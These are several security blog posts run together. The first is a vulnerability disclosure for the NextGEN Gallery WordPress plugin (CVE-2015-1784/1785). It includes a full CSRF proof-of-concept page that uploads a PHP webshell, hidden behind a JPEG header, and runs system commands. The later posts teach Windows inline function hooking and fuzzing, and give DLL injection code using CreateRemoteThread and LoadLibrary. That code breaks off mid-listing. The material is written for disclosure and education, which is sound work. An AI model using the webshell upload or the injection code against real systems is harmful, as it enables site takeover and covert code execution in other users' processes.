CSRF And Unsafe Arbitrary File Upload In NextGEN Gallery Plugin (2.0.77.0) For WordPress

1      Introduction

Please note the vulnerability detailed in this blog article was first discovered on Monday 9th March 2015, disclosed and discussed with the company concerned on March 10th and a patch was released on March 12th.

1.1    Versions and CVE

  • Currently tested on NextGEN Gallery >=2.0.77.0 and WordPress 4.1.1
  • CVE-2015-1784 NextGEN Gallery WordPress: file upload bypass
  • CVE-2015-1785 NextGEN Gallery WordPress: CSRF

1.2    Abstract

The NextGEN Gallery plugin for WordPress is the sixth most popular plugin used to date, with over 12 Million users and 100+ extensions.

There are two vulnerabilities which can allow an attacker to gain full access over the web application. The vulnerabilities lie in how the application validates user uploaded files and lack of security measures preventing unwanted HTTP requests.

An average of 20% (2.4 million) of these installs will allow for lower level users (editors and subscribers etc.) to perform image uploads. Some of the extensions provided for the NextGEN Gallery allow for Public file uploading. Around 100,000 users have this extension according to the WordPress app store.

This means that 12 million are vulnerable to CSRF with a webshell, 2.4 million vulnerable to webshell through unsafe file upload and 100,000 vulnerable to unauthenticated unsafe file upload.

1.3    What is Arbitrary File Upload?

Files that can be uploaded to the server can represent a significant risk. The majority of attacks involve getting code onto the server to be attacked, after that the code only needs to be executed. File uploads help an attacker get code onto the server.

The consequences of an unsafe file upload can lead to complete system takeover, access to databases and defacement. It varies on how the server handles uploads, where the files are stored and what the application does.

1.4    What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery is an attack that causes a user’s web browser to perform an unwanted action on a trusted site where a user is currently authenticated. CSRF attacks abuse state changes instead of theft of data or remote code execution as the attacker has no way to see the response of the request.

A CSRF Attack, for example, can force a user into changing their password, transferring funds and in the case of the vulnerabilities talked about in this article, compromise the entire application.

2      Bypassing the upload validation

NextGEN Gallery by default only allows administrators to upload images to the server, however you can allow lower level users such as editors or subscribers to upload images opening a larger attack vector. If a lower level user was given access to the upload function then this could be used in a privilege escalation type attack to gain web shell on the server. In the example below I will show an unsafe file upload leading to webshell via an editor level account.

Upload section

Figure 1 – Upload Section

In the above figure we can see that the file “simpleshell.jpg” has been loaded into the uploader. The file contains a very basic PHP shell. Renaming the extension from .php to .jpg allows us to bypass the first line of defense in the NextGEN plugin, which is by using client side file validation to ensure the file has a valid image extension such as JPG.

After the file has been loaded we need to intercept the request and edit a few parameters to bypass the server side validation of the file.

Figure 2 - Orginal Request

Figure 2 – Original Request

The server side validation checks for file extension, content-type and performs basic file analysis scanning for image headers. As seen in the figure above the request contains a very basic PHP web shell that is passed as an image.

In our edited request below you can see that to bypass the file extension validation “.php” has been appended to the end of the “simpleshell.jpg” file, thus turning this file back into a valid PHP file. The content-type was already stated as “image/jpeg” so that’s fine. Finally, to work around the file analysis a header from a valid JPEG file has been inserted above the PHP script to trick the application into thinking that this is a valid image file.

Figure 3 - Edited Request

Figure 3 – Edited Request

When the request is submitted we are passed an upload message stating that “1 image Upload complete”.

By default, the file path naming convention for NextGEN gallery is as follows: “/wp-content/gallery/[name of gallery]/[name of file]” This path is publically available and viewable as an unauthenticated user.

Figure 4 - Webshell gained

Figure 4 – Webshell gained

 

After browsing to the file and passing the “id” command to the “cmd” parameter the output is displayed on the page, confirming the PHP webshell is working. From this point it is possible to call system commands and invoke reverse shells etc.

3      Cross-site request forgery abusing unsafe file upload

Using the techniques previously stated to bypass the file upload validation it is possible to create a CSRF proof of concept (PoC). The NextGEN gallery does not implement a unique token or nonce to protect against CSRF in the file upload page allowing for unwanted HTTP requests to be made to the authenticated application by the user unknowingly via a malicious link or XSS.

The figure below illustrates the PoC file, we can see that the gallery ID that this webshell will be uploaded to is “youhascsrf” and that the file name will be “shell.jpg.php”. The techniques used to bypass the upload validation demonstrated previously were also used in this PoC.

[cpp]</p>
<p>&lt;html&gt;</p>
<p>&lt;body&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;script&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;function&lt;/em&gt;&lt;/strong&gt; submitRequest&lt;strong&gt;()&lt;/strong&gt;</p>
<p>&lt;strong&gt;{&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; xhr &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; XMLHttpRequest&lt;strong&gt;();&lt;/strong&gt;</p>
<p>xhr.open&lt;strong&gt;(&lt;/strong&gt;&quot;POST&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;http://127.0.0.1/wordpress/?photocrati_ajax=1&amp;action=upload_image&amp;gallery_id=0&amp;gallery_name=youhascsrf&quot;&lt;strong&gt;,&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;true&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Accept&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Accept-Language&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;en-US,en;q=0.5&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Content-Type&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;multipart/form-data; boundary=—————————11451489371866854212008584&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.withCredentials &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;true&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;;&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; body &lt;strong&gt;=&lt;/strong&gt; &quot;—————————–11451489371866854212008584rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Disposition: form-data; name=&quot;name&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;shell.jpgrn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;—————————–11451489371866854212008584rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.jpg.php&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Type: image/jpegrn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;xffxd8xffxe0x00x10JFIFx00x01x02x00x00x01x00x01x00x00xffxfex00x04*x00xffxe2x02x1cICC_PROFILEx00x01x01x00x00x02x0clcmsx02x10x00x00mntrRGB XYZ x07xdcx00x01x00x19x00x03x00)x009acspAPPLx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-</p>
<p>lcmsx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;descx00x00x00xfcx00x00x00^cprtx00x00x01x00x00x00x0bwtptx00x00x01hx00x00x00x14bkptx00x00x01|x00x00x00x14rXYZx00x00x01x90x00x00x00x14gXYZx00x00x01xa4x00x00x00x14bXYZx00x00x01xb8x00x00x00x14rTRCx00x00x01xccx00x00x00@gTRCx00x00x01xccx00x00x00@bTRCx00x00x01xccx00x00x00@descx00x00x00x00x00x00x00x03c2x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00textx00x00x00x00FBx00x00XYZ x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-XYZ x00x00x00x00x00x00x03x16x00x00x033x00x00x02xa4XYZ x00x00x00x00x00x00oxa2x00x008xf5x00x00x03x90XYZ x00x00x00x00x00x00bx99x00x00xb7x85x00x00x18xdaXYZ x00x00x00x00x00x00$xa0x00x00x0fx84x00x00xb6xcfcurvx00x00x00x00x00x00x00x1ax00x00x00xcbx01xc9x03cx05x92x08kx0bxf6x10?x15Qx1b4!xf1)x902x18;x92Fx05Qw]xedkpzx05x89xb1x9a|xacixbf}xd3xc3xe90xffxffxffxdbx00Cx00x04x03x03x04x03x03x04x04x03x04x05x04x04x05x06rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;x3c?phprn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;if(isset($_REQUEST[‘cmd’])){rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   $cmd = ($_REQUEST[&quot;cmd&quot;]);rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   system($cmd);rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   echo &quot;x3c/prex3e$cmdx3cprex3e&quot;;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   die;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;}rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;?x3ern&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;—————————–11451489371866854212008584–rn&quot;&lt;strong&gt;;&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; aBody &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; Uint8Array&lt;strong&gt;(&lt;/strong&gt;body.length&lt;strong&gt;);&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;for&lt;/em&gt;&lt;/strong&gt; &lt;strong&gt;(&lt;/strong&gt;&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; i &lt;strong&gt;=&lt;/strong&gt; 0&lt;strong&gt;;&lt;/strong&gt; i &lt;strong&gt;&lt;&lt;/strong&gt; aBody.length&lt;strong&gt;;&lt;/strong&gt; i&lt;strong&gt;++)&lt;/strong&gt;</p>
<p>aBody&lt;strong&gt;[&lt;/strong&gt;i&lt;strong&gt;]&lt;/strong&gt; &lt;strong&gt;=&lt;/strong&gt; body.charCodeAt&lt;strong&gt;(&lt;/strong&gt;i&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.send&lt;strong&gt;(&lt;/strong&gt;&lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; Blob&lt;strong&gt;([&lt;/strong&gt;aBody&lt;strong&gt;]));&lt;/strong&gt;</p>
<p>&lt;strong&gt;}&lt;/strong&gt;</p>
<p>&lt;/script&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;form action=&lt;strong&gt;&quot;#&quot;&lt;/strong&gt;&gt;</p>
<p>&lt;strong&gt;     &lt;/strong&gt;&lt;input type=&lt;strong&gt;&quot;button&quot;&lt;/strong&gt; value=&lt;strong&gt;&quot;Submit request&quot;&lt;/strong&gt; onclick=&lt;strong&gt;&quot;submitRequest();&quot;&lt;/strong&gt; /&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;/form&gt;</p>
<p>&lt;/body&gt;</p>
<p>&lt;/html&gt;</p>
<p>[/cpp]

If this file was hosted externally and an administrator (or any other user with upload rights) clicked the link and submitted this request then the webshell would be uploaded to the file path “/wp-content/gallery/youhascsrf/shell.jpg.php” and then be publically available without the user’s knowledge. In the figure below, we can see that an admin is logged into a WordPress installation with the NextGEN Gallery plugin activated.

Figure 5 - Admin WordPress dash

Figure 5 – Admin WordPress dash

 

As we can see there are currently no galleries present on this application.

figure 6 - No galleries

Figure 6 – No Galleries

 

Figure 7 - CSRF PoC loaded in browser

Figure 7- CSRF PoC loaded in browser

 

As this is just a PoC, the attack will trigger when the “submit request” button is clicked, however, in a real world situation this request would be submitted asynchronously without the users’ knowledge. After clicking the “submit request” button we can now see that the gallery has been created and the webshell is present.

Figure 8 - Webshell now present

Figure 8 – Webshell now present

In the figure below the “Id” command is send to the webshell and we have system access.

Figure 9 - System commands executed

Figure 9 – System commands executed

 

 

To contact Nettitude’s editor, please email media@nettitude.com.

Windows Inline Function Hooking

Hooking can be used by legitimate software for reverse engineering, for example, to examine the user mode function calls that a malicious program is making.

It can also be used by a malicious program to hide certain aspects of itself.  For example, malware might try and install a hook into Windows API functions, which list files in Windows such as FindFirstFile and FindNextFile.  When a particular file used by the malware is found by one of these functions, the malware hook code can change how the function works so that it skips over it to the next file, thus hiding the file from Windows Explorer.

How Does A Function Hook Work?

A function hook usually has three parts:

  1. A piece of redirection code overwrites part of the target function which will redirect any calls to it, into a callback function in our code
  2.  The callback is the second part and informs us that the target function was called. This is the main part of the hook; the part that allows us to change the behaviour of the target function or log the information passed into the target function.
  3.  The final part is commonly called a trampoline, since it bounces us back into the target function, as if nothing ever happened. The trampoline is created by the hooking code and holds a copy of part of the hooked function we overwrote initially.  The trampoline also contains some code to redirect execution back into to the hooked function just after the code we overwrote.
Windows Function Hook

Windows Function Hook

Function Hooking

Unfortunately, hooking is quite low level, so we’re going to have to get our hands dirty and do some work at the assembly level.

Hooking a function involves several steps:

  •  Place our hooking code inside the target process: One way of doing this is to inject our code as a DLL.  More information on DLL injection can be found in my previous blog posts on DLL injection
  •  Find the address of the function that we want to hook: If it’s a windows API function or a function exported by a DLL that is loaded in the target process, then we can use GetProcAddress
  •  Construct a trampoline, copy and then overwrite the instructions at the start of the target function with a jump to the hook callback

In 32bit applications, we can use a relative jump near instruction “JMP”  which can be used to jump or move the current instruction pointer (EIP) backwards or forwards in memory by up to 2GB.

If, for example, our target callback is 70000 bytes in front of the function (0x11170 in hex) the instruction would be:

[cpp]
JMP 0x1116B
[/cpp]

The actual byte level representation of this in memory would be as follows:

[cpp]
0xE9 0x6B 0x11 0x01 0x00
[/cpp]

The jump instruction in this format requires five bytes.  Note that we have also taken into account these 5 bytes used in the JMP instruction making the jump offset actually five bytes less than 70000, which is 0x1116B in hex.  The address specified in the JMP call is always relative to the end of the JMP instruction.

So to install our hook, we need to overwrite five bytes of the start of the target function with a JMP.  Except it’s not quite that simple…

Intel instructions are variable length, so we also need to make sure that we first copy any whole instructions that may be overwritten in the target function.  This involves disassembling the instructions of the target function until we have disassembled enough code to contain our 5 bytes.

For example, here is the disassembly of the prologue of the Windows API function RegSetValueExW:

[cpp]
_RegSetValueExW@24:
push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75


[/cpp]

The code bytes are on the right hand side.  It can be seen that if we overwrote 5 bytes we would overwrite into the middle of the second push instruction.  Disassembling this shows us that we need to copy 7 bytes into the trampoline to capture whole instructions and then pad out the JMP instruction we insert with two NOP instructions, which are 1 byte each.   The hooked RegSetValueExW would look like this after it was hooked.

[cpp]
_RegSetValueExW@24:
jmp         1234567h        E9 67 45 23 01
nop                         90
nop                         90


[/cpp]

To do this we could write our own disassembler, or use something like BeaEngine or Udis86 both open source disassembler implementations.

Now we’ve hooked the function and copied the original code into our trampoline, we need to set the trampoline to jump back into to the target function just after our inserted JMP instruction.

[cpp]
Trampoline:
push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75
jmp         <address of instruction after JMP>

[/cpp]

If we don’t want to use a JMP for this and calculate a relative offset, we can potentially push a value onto the stack and use RET to return directly to that address.

Hot Patching

Some components of Windows, for example, Kernel32.dll have been built by Microsoft with hot patching enabled .  What this means is that some space has been left for inserting a jmp instruction in order to patch the code at runtime to jump to an updated version of the function.  In some cases it may be possible to use this hot patch area to contain our hook.

For example, here is the disassembly of GetProcAddress in Kernel32.dll and some of the surrounding code:

[cpp]
nop                    90
nop                    90
nop                    90
nop                    90
nop                    90
_GetProcAddressStub@8:
mov         edi,edi    8B FF
push        ebp        55
mov         ebp,esp    8B EC
pop         ebp        5D

[/cpp]

Notice that the first instruction is MOV EDI, EDI which is essentially a NOP.  Also notice that the five code bytes before the function are all NOP instructions.

We can hook this by first changing the MOV EDI, EDI instruction to a short relative JMP which takes only two bytes and jump backwards to the start of the NOP instructions, which is 5 bytes away.  Taking into account the instruction length of the JMP it will be 7 bytes, so -7 bytes which is 0xFB in hex:

[cpp]
nop                    90
nop                    90
nop                    90
nop                    90
nop                    90
_GetProcAddressStub@8:
jmp         fbh        EB FB
push        ebp        55
mov         ebp,esp    8B EC
pop         ebp        5D

[/cpp]

Now we can just replace the five NOP instructions with a near JMP relative as before.

It would be quite simple to check for this pattern when hooking functions and take advantage of this hot patch area if it exists.

64Bit Function Hooking

On x64 platforms, the same hooking technique can be used.  It only works however if the callback function and trampoline are within 2GB distance of the hooked function as the jump instruction can only take a jump offset operand that uses 32 bits.

Using the VirtualQuery API call free memory blocks can be located within 2GB of the target function and then a redirection stub can be placed here which uses a longer format jump to reach the user function.

[cpp]
UINT_PTR currentAddress = (UINT_PTR )pTargetFunctionAddress + TWO_GB;
MEMORY_BASIC_INFORMATION memInfo = { 0 };
PVOID pTrampoline = NULL;

do
{
if (VirtualQuery((LPVOID)currentAddress, &memInfo, trampolineSize))
{
if (memInfo.State == MEM_FREE)
{
pTrampoline = VirtualAlloc((LPVOID)currentAddress,
trampolineSize,
MEM_RESERVE |
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
}
}

currentAddress -= PAGE_SIZE;

} while (pTrampoline == NULL &&
(UINT_PTR)pTargetFunctionAddress < currentAddress);
[/cpp]

For the trampoline and redirection stub, we would need a non-relative jump so that the user function which calls the trampoline can reside anywhere in the addressable range.  One possible option for constructing a longer jump is to push a 64bit address onto the stack and use a RET instruction to return to the target address.

We can push a 64 bit address directly by making use of a register, we first save the register on the stack and then put our return address into it.  Then we can exchange the register and the stack location to restore the previous register state before returning:

[cpp]
push rax                                50
movabs rax,0xAAAAAAAAAAAAAAAA           48 b8 AA AA AA AA AA AA AA AA
xchg QWORD PTR [rsp],rax                48 87 04 24
ret
[/cpp]

Another possibility, detailed by Nikolay Igotti pushes a 32 bit immediate value onto the stack the lower part of the address, this type of push instruction actually reserves 64 bits on the stack in order to preserve alignment.  Then remaining 32bits of the address can be moved into the additional stack space reserved by the push instruction.   Finally RET is called which will pop the value from the stack and jump to the address:

[cpp]
push 0xAAAAAAAAA                        68 AA AA AA AA
mov DWORD PTR [rsp+0x4],0xBBBBBBBB      c7 44 24 04 BB BB BB BB
ret
[/cpp]

The advantage with Nikolay’s method is that it uses only 14 bytes and can be reduced further if we know the target address is in a 4GB range since the top half of the address wouldn’t need to be written in that case.

This longer jump could be used to jump to the user function, however it is easier to try and first allocate some memory for a redirector stub within 2Gb of the target function as the target function may contain a relative jump instruction in the bytes that are copied to the trampoline.  This would then need to be “fixed up” to jump to the correct location which could be problematic.

NIkolay's-Hook-Method

 Int 3 Hooking Method

Another method which could be used for hooking, is to place an “int 3” break instruction into the code instead of a jmp instruction.   This will cause an exception to be raised when the int 3 instruction is executed.

If we install a vectored exception handler using the windows API call AddVectoredExceptionHandler we can trap the exception before any other exception handler, and move execution to a user callback function:

[cpp]
PVOID WINAPI AddVectoredExceptionHandler(
_In_  ULONG FirstHandler,
_In_  PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
[/cpp]

This method has the benefit of only requiring only a single byte to be replaced in the target as int 3 is a single byte instruction.  For example, hooking RegSetValueExW as in the previous examples:

[cpp]
_RegSetValueExW@24:
push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75


[/cpp]

The downside to this method is that the target program, or debugger could add its own vectored exception handler, which may be called before ours and may not pass the exception to our own handler.   The result could be a program crash.

[cpp]
_RegSetValueExW@24:
int 3                       CC
nop                         90
push        75835CC0h       68 C0 5C 83 75

[/cpp]

Other Considerations

  •  As briefly mentioned earlier, if the function prologue code contains a relative JMP instruction that we will overwrite, simply copying this to the trampoline function will not work since the copied JMP will then be jumping relative to the trampoline and not the original function. In this case it may be necessary to re-calculate the jump offset in the copied function prologue if possible
  • Some functions may consist of less than five bytes of executable code, for example the following code, while not particularly useful is still a valid function:

[cpp]
nop                                     90
ret                                     c3
[/cpp]

Int3 hooking could be used to hook this, or if hot patching is enabled that area could be used.  It’s also possible to use IAT hooking, which will be discussed in an additional blog post.

  • A target function may have already been hooked – we could check for this by examining the code that resides on disc and comparing it to the function in memory. If a difference is found, the original hook could first be removed by copying the code from disc then our new hook can be added.  Although removing someone else’s hook may cause errors if they attempts to remove it at a later date after we have already overwritten it.  Also bear in mind that if you’re dealing with a malicious program, it may be returning the incorrect data from disc in order to hide its hook
  • Threads may be running in the target process that are calling functions as you’re patching them, so it would be wise to suspend all other threads in a process before implanting the hook and resume them afterwards
  • VirtualAlloc, VirtualFree, VirtualProtect and VirtualQuery API calls as well as the memcpy API call will most likely be used internally by any hooking engine. If these are to be hooked by the user, then it may be necessary to make a copy of these functions in memory, or have special handling code for these if the user attempts to hook them.  The memcpy function can usually be replaced by a compiler intrinsic such as __movsb.

Click here to download the Function Hooking source code.

 

To contact Nettitude’s editor, please email media@nettitude.com.

Vulnerability Discovery Via 'Fuzzing'

Why would you fuzz? People fuzz for many reasons, depending on the industry they are in, from reliable assurance through to testing and validation. In security research, our primary goal is to discover potential vulnerabilities or weaknesses. Fuzzing allows us do this in an automated, if not somewhat less rigorous, manner. This is the first of two entries reviewing fuzzing techniques and tools. The first gives an overview of what fuzzing actually is, while the second will further review some real-world fuzzing tools.

What makes a vulnerability

In a simplistic model, a typical software application can be described as a collection of blocks. Each block is designed to take an input, process it and provide an output. These blocks work together to produce the behaviours that make the application do whatever it is the application is meant to do.

There are many limitations and intricacies to be aware of when creating these blocks of logic and often these can be overlooked. Due to this, irregular input can result in behaviours that the original developer Fuzzingdid not expect. As the result of these behaviours propagates to other blocks that were not originally designed to accept these values new, unplanned scenarios are played out in the software which often result in the application entering a state in which it cannot continue, and ultimately crashes.

 

Sometimes this is the end of the matter. Sometimes however, with enough knowledge, it is possible to steer these new stories in a manner which makes the software do something entirely counter to the applications’ original goals. This is where vulnerabilities are born.

In the majority of cases, the problems described above occur as the result of “bad input” to the system. This can be as a result of the original developer being unaware of the little details, or making bad assumptions about the input. A classic example of this is where a developer assumes input to the system comes from a “trusted source” such as another system under their control, and doesn’t verify the values being passed to them properly. Eventually, a malicious user finds a way to send data to the system, which is accepted because it is never checked for erroneous values.

A brief introduction to fuzzing

As security researchers, it is often our goal to find these problems before other people who might wish to abuse the situation. In this entry we are going to describe “fuzzing”, one of the techniques available to us that can help identify issues with bad input handling. Input for this tooling often focuses on where computer generated data can enter the system. This could include for example from a file or network connection. It is less concerned with user input, which is typically assumed to be far more irregular and better validated and managed.

The principal behind fuzzing is quite basic. In its most rudimentary form it simply requires identifying a publically exposed interface and pushing random data in to it, and observing the resulting behaviour. If anything exceptional happens, such as the application crashing or ‘freezing’, the input will be stored for a researcher to review. Then the process repeats. It’ll often take many iterations to get results, if you get any at all. As noted before, not all results are useable for malicious purposes, although in some cases simply getting a crash to occur can be useful as a “denial of service” attack vector, if the input can be passed to the application remotely.

Improving the process

Realistically firing entirely random data at a system doesn’t give a good return on investment. This is because data will often be expected to arrive in a specific format and it is highly unlikely that purely random data will align properly to form a valid structure. As a clear example of this, many data formats expect “magic patterns” at the start (or other fixed offsets from the start) to indicate the format of the data, for example, all BMP files are expected to start with the byte values 0x42, 0x4D which correlates to the string “BM” when translated as an ASCII byte sequence. Most BMP viewers will validate this before trying to load the file. Assuming truly random data, passing this check alone will only occur on average once in every 65,535 iterations.

To mitigate this issue and improve our results we can take a reference of valid system input (in the above example, an actual BMP file) and then randomly modify one or more parts of the file. The exact number, length and nature of the modifications can be controlled to suit individual applications, but overall most of our input will now be valid with only a few changes. With some luck, these changes will impact an important structure in an unexpected manner and cause the target application to do something wrong.

Whilst this delivers a far better result, it still has a limited return and we can go further to help our fuzzing mechanism deliver the best results. If we consider a basic BITMAP file for example, this could loosely be Fuzzing 2described as having a few, small critical control structures at the start of the file, followed by a vast amount of pixel data following. If we randomly alter a reference image, chances are high that our modifications will impact the pixel data rather than the control structures. This might result in a few discoloured pixels, but as each byte in this data can quite validly contain any value in its range, these changes should never result in any abnormal behaviours. As such, many fuzzing mechanisms will give you the ability to target specific regions of the input data and define the format of any structures.  Using this method, we are able to target specific properties within the file and help steer our modifications towards causing behavioural changes in the target application. If there are any vulnerabilities, hopefully they’ll fall out of this testing routine and they can be fixed before they are used for other purposes.

 

 

To contact Nettitude’s editor, please email media@nettitude.com.

DLL Injection: Part Two

In a previous blog post I gave a high level overview of DLL injection, what it is used for and how it might be achieved.

More than one method exists to get our code into a process and have it execute.  A quick scan around the web gives us quite a few ideas.  It boils down to two steps:

  • The first step is to get our code into the memory of the target process.
  • The second step is to run that code.

I’ve written this post assuming that the reader has some C or C++ Windows API programming expertise.

Opening a process
All of the methods presented in this blog will require a handle to another process in order to perform the injection.

The executable that is performing DLL injection, the “injector” usually requires debug privileges in order to be able to successfully open a handle to another process.  This can be achieved by enabling the debug privilege token:

[cpp]
BOOL Inject_SetDebugPrivilege()
{
BOOL bRet = FALSE;
HANDLE hToken = NULL;
LUID luid = { 0 };

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
TOKEN_PRIVILEGES tokenPriv = { 0 };
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

}
}

return bRet;
}
[/cpp]

To obtain a handle to a process we need to call the OpenProcess function with the process id of the target.   The process id can be obtained from windows TaskManager and passed to the injector application on the command line, or the Microsoft Tool Help library could be used to enumerate all processes and locate a process by name.  There are most likely other applicable methods.

[csharp]
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD|
PROCESS_QUERY_INFORMATION|
PROCESS_VM_OPERATION|
PROCESS_VM_WRITE|
PROCESS_VM_READ,
FALSE,
ProcessId );

[/csharp]

In the next sections, I will assume that we already know the process id and have obtained a debug token.

LoadLibrary remote thread
The simplest method of injecting a DLL is to make the target process use the Windows API LoadLibrary call to load the DLL from disc for us.

LoadLibrary calls the DLLMain function in your DLL after it loads the DLL, so this is ideal for bootstrapping your own code.  (Note that it is unadvisable to call any thread synchronisation functions from DLLMain because a deadlock can occur.)

The LoadLibrary function takes a pointer to a filename as the parameter:

[csharp]
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
[/csharp]

And by a stroke of luck, when you create a thread, the thread entry point that you have to provide LPTHREAD_START_ROUTINE also takes a single parameter:

[csharp]
DWORD WINAPI ThreadProc(
_In_ LPVOID lpParameter
);
[/csharp]

We can exploit this happy coincidence by setting the entry point of our remote thread to be LoadLibrary instead of a ThreadProc and then pass in the DLL filename pointer as the thread parameter.

First we need to open a handle to the process then we can allocate some memory in the target process which will contain the filename of the DLL we want to inject:

[csharp]
const char* pszFileName = "C:injectinject.dll";

//add one to the length for the NULL terminator
const size_t fileNameLength = strlen(pszFileName) + 1;

void* pProcessMem = VirtualAllocEx( hProcess,
NULL,
fileNameLength,
MEM_COMMIT,
PAGE_READWRITE );

WriteProcessMemory( hProcess,
pProcessMem,
pszFileName,
fileNameLength,
NULL );

[/csharp]

We now need to get the address, in the target process of the “LoadLibrary” function.  Another happy coincidence helps us out here, is that for most (not all) processes Kernel32.dll is always loaded at the same virtual location, even when ASLR is on.  We can therefore get the address of this function in the injector and it will map across to the same virtual address in the target process.

This of course is not always the case so we should perhaps use the Microsoft Tool Help library to enumerate the loaded DLL’s in the target process and obtain the Kernel32 base address.  We could the use an offset from this base address to get the address of LoadLibrary.  I’ve left this as an exercise for the reader.  Here is how we create the thread in the target process:

[csharp]
HMODULE hKernel32 = GetModuleHandle( "Kernel32.dll" );
void* pLoadLib = GetProcAddress( hKernel32, "LoadLibraryA" );

//
// Create a remote thread starting at LoadLibrary
//
DWORD dwThreadId = 0;
HANDLE hThread = CreateRemoteThread( hProcess,
NULL,
0,
pLoadLib, //entry point (LoadLibrary)
pProcessMem, //filename
0,
&dwThreadId );;
[/csharp]

LoadLibrary NTCreateThreadEx variation
A variation on the LoadLibrary technique is to use the undocumented function NTCreateThreadEx.  This allows injection across session boundaries, so it’s possible to inject into a process running in a different user’s session.

An example of NtCreateThreadEx usage is given on securityxploded.com

We can simply replace the call to CreateRemoteThread in the previous example with a call to NtCreateThreadEx:

[csharp]
HMODULE hKernel32 = GetModuleHandle( "Kernel32.dll" );
void* pLoadLib = GetProcAddress( hKernel32, "LoadLibraryA" );

struct NtCreateThreadExBuffer
{
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};

//
// Obtain NTCreateThreadEx function pointer
//
typedef NTSTATUS (WINAPI *fpNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE lpStartAddress,
IN LPVOID lpParameter,
